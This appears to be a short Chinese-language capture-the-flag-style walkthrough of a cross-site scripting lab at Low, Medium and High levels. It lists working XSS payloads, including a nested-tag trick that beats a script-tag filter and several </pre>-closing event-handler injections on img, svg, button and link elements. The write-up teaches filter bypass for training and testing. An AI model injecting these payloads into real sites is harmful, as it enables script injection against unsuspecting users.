Low
1、看到这里,这个输入框就是“入口”,输入探测123“出口”的位置
2、直接上payload: <script>alert(1)</script> 
3、结果:
4、这里我们可以去查看一下源码的结构,已经成功插入了一个<script>标签
Medium
1、话不多说,直接勒特 <script>alert(1)</script> 从源代码中苦于看到 <script>被吃了一半
2、不要慌,喜欢吃就多给它一个<script><script>alert(1)</script>
3、从结果中看到被它挨个吃了!!而且吃头不吃尾巴!,那就把他们混起来给他吃<scr<script>ipt>alert(1)</script>,
4、我们来看一下原代码 :这会儿吃撑了,吐了一个出来,通关~
Hight
1、勒特:<script>alert(1)</script> 这次吃得干干净净
2、这个时候,你会发现,怎么塞它都给你吐一个 “>” 出来!说明得换个方法
思路——很能吃,是个无底洞,所以得把它封起 ! </pre> 让它的嘴闭起来
3、尝试:上马桶塞堵嘴 </pre> 堵嘴 <!--

从前后端的代码看,似乎是堵住了。
- </pre>这个标签是与前面的形成闭合
- <!-- 这个马桶塞是注释后面多余的代码,不用也可!
4、好了,上才艺:
</pre> <img src='1' οnclick='alert(1)'><!--
</pre> <svg src='1' οnlοad='alert(1)'><!--
</pre><button οnclick='alert(1)'>老六</button><!--
</pre><a href='1' οnclick='alert(1)'>老六</a><!--
花式通关